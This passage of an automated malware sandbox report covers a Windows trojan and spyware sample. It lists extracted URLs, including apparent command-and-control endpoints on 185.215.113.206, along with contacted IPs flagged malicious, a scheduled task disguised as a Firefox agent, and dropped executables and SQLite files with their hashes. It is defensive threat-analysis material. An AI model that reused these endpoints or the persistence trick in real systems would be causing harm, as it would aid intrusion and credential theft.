http://www.fontbureau.com	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://185.215.113.206/k8FppT/index.php?scr=1d	hnbux.exe, 00000022.00000002.514965530.00000000025F7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false		high
https://api.ip.sb4	337E.exe, 00000015.00000002.465882710.00000000045BD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://helpx.ad	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/k8FppT/index.php?scr=1l	hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://tempuri.org/t_nm	337E.exe, 00000015.00000002.465882710.00000000045BD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/k8FppT/index.php?scr=1v	hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.29:88894	337E.exe, 00000015.00000002.468847730.00000000047EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/k8FppT/index.php06/k8FppT/index.phpH	hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://get.adob	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://service.real.com/realplayer/security/02062012_player/en/	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdatesResponse	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
193.142.59.119	unknown	Netherlands	208046	HOSTSLICK-GERMANYNL	true
185.215.113.29	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
217.107.34.191	ng.hiterima.ru	Russian Federation	8342	RTCOMM-ASRU	false
94.190.187.102	atvcampingtrips.com	Bulgaria	12796	TCV-ASBG	false
210.207.244.101	unknown	Korea Republic of	9861	HIAM-AS-KRHiAssetManagementCoLtdKR	false
88.80.145.9	unknown	Bulgaria	204641	GWHOSTRO	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	467947
Start date:	19.08.2021
Start time:	07:51:13
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	V1yj2IcuOo.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@21/29@43/8
EGA Information:	Failed
HDC Information:	Successful, ratio: 7.3% (good quality ratio 5.5%) Quality average: 54.1% Quality standard deviation: 38%
HCA Information:	Successful, ratio: 87% Number of executed functions: 158 Number of non-executed functions: 58
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.50.102.62, 20.54.110.249, 40.112.88.60, 80.67.82.211, 80.67.82.235, 104.26.13.31, 172.67.75.172, 104.26.12.31 Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/467947/sample/V1yj2IcuOo.exe

Simulations

Behavior and APIs

Time	Type	Description
07:52:58	Task Scheduler	Run new task: Firefox Default Browser Agent 684B5980C31765BA path: C:\Users\user\AppData\Roaming\cbfafth
07:53:38	API Interceptor	69x Sleep call for process: 337E.exe modified
07:54:01	API Interceptor	316x Sleep call for process: hnbux.exe modified
07:54:04	Task Scheduler	Run new task: hnbux.exe path: C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\337E.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2502
Entropy (8bit):	5.3347050065951125
Encrypted:	false
SSDEEP:	48:MIHKmfHK5HKXAHKdHKBSTHaAHKzvRYHKhQnoPtHoxHImHKhBHKoHaHZHAHDJHxLK:Pqaq5qXAqdqslqzJYqhQnoPtIxHbqLq3
MD5:	530A67C0EED1FAACA722E55D61D80EC7
SHA1:	03D47113540C9832A7932202A943191A04BD9D65
SHA-256:	89A2A0F5E379506481BF0F9728D4D8A8F098DEB628175B86CAC0CEAEF5822575
SHA-512:	2EEBC2ED55C3822639DC5FC9C2D798FD09E7EBAA7A1167FC0CBD5E433F326D6899286FD1C5D7A32404C32D08784A420065DB1CCB315F8F88B3F401BC5EFD7D12
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d

C:\Users\user\AppData\Local\Temp\152138533219 Download File
Process:	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	modified
Size (bytes):	283149
Entropy (8bit):	7.916079715482438
Encrypted:	false
SSDEEP:	6144:smC0ckuKrB8UHpokymC0ckuKrB8UHpokymC0ckuKrB8UHpokB:smCHkJDoDmCHkJDoDmCHkJDo0
MD5:	171C8FDF5251382D0C5F830F850C0B8D
SHA1:	4A7AACF5BFFA64E932E2757CE467244FD3EE436C
SHA-256:	F16396C21E4FD9882F68F3149D79C27D453AAB17DBF33FB3F92E0EFD2F647372
SHA-512:	C56BD9C3070EFC265EFEDC065C651AD0A89BCF26C40F0EAA162C6D1C77DD3188E46564EC0481D67975009EE2B5A36AE898560BE0BED7859ECAFD3A0691495DCA
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\....xcS.m..#Hm.....T......<!...wq5...v1.?S.....rHj-.U:...5............\|..+.......}...<.>...H.......Wo.CK`/l.1./...C...W.....,1....R.0.W.A.:.....X.l..1lN23....._....m.....'.........S.. ..W....'.c....1....5.5.}j.Ly..k;.\...q.U..Q...bgJpW.(QKI]&b.QE.&(..Y.)....\..._.\|.'..wy.....h..S'.8.gc.k...S~.............?.M....?.7?...Y.x.{&\|.E{....B.......~..

C:\Users\user\AppData\Local\Temp\15213853321935212556 Download File
Process:	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe
File Type:	empty
Category:	modified
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false
Reputation:	unknown
Preview:

C:\Users\user\AppData\Local\Temp\337E.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	354304
Entropy (8bit):	7.0836432853006706
Encrypted:	false
SSDEEP:	6144:njGmJR8oiYrfPq2SN6XxWtu0rTqLTn1YL91HUcosZ4QtMnKpRoVtLM3c:jn8oDfPoN6X8jrTqV+DHRyPz
MD5:	36A20734FCA63AC4F6DC2AA43C3B45CF
SHA1:	9266B5A38624B67650D20FFE678D1D3591210C89
SHA-256:	469D0A8D7C98625560E41650B7BF94A955BD90C932810B8465F3FE9967E9A0D4
SHA-512:	6B8BF22B03C08B64D0BD41A57C90873C31F310E53478AAB6811559AC8A523A9636EB15F2589CC9C29116BACA593210AEDBB96DCBC34419492E03B070BBA0BA16
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .4.d.Z}d.Z}d.Z}z..}u.Z}z..}..Z}z..}S.Z}CC!}g.Z}d.[}.Z}z..}e.Z}z..}e.Z}z..}e.Z}Richd.Z}........PE..L....H}^.....................P......p.............@.........................................................................xH..(...................................@................................?..@............................................text............................... ..`.rdata.............................@..@.data........`...*...@..............@....rsrc................j..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\D955.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	329728
Entropy (8bit):	6.982598299611933
Encrypted:	false
SSDEEP:	6144:aqWLJv0qiQL9vK2S9/eVufVMpnZSrLsBKHqyXcmfM3c:wF0qj9vI9/eo8ZiDEU
MD5:	2C5C6CE3DE7579CDCA4B07A150978B0C
SHA1:	9F60A66F5F785DE2C36C5454B06B78619282CDEB
SHA-256:	43AB7B45CCC0017133656E2F8A1C1BF33D64055D54731E60AB7974AE61373E39
SHA-512:	0267550A057D075307D5F09CB5B597D40DA757F06D09A05A6D306D0A51F28127271E4AA67973084DE2BAF0E541DBF3D54CA0904E89E539DCD2CDC0180C4EF0C6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .4.d.Z}d.Z}d.Z}z..}u.Z}z..}..Z}z..}S.Z}CC!}g.Z}d.[}.Z}z..}e.Z}z..}e.Z}z..}e.Z}Richd.Z}........PE..L....x.^............................p.............@.................................M.......................................xH..(...................................@................................?..@............................................text............................... ..`.rdata.............................@..@.data....C...`.......@..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp36C6.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp36C7.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp36E7.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp36E8.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp36E9.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp36EA.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp371A.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp371B.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6A42.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6A43.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6A63.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6A64.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp99D2.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp99D3.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
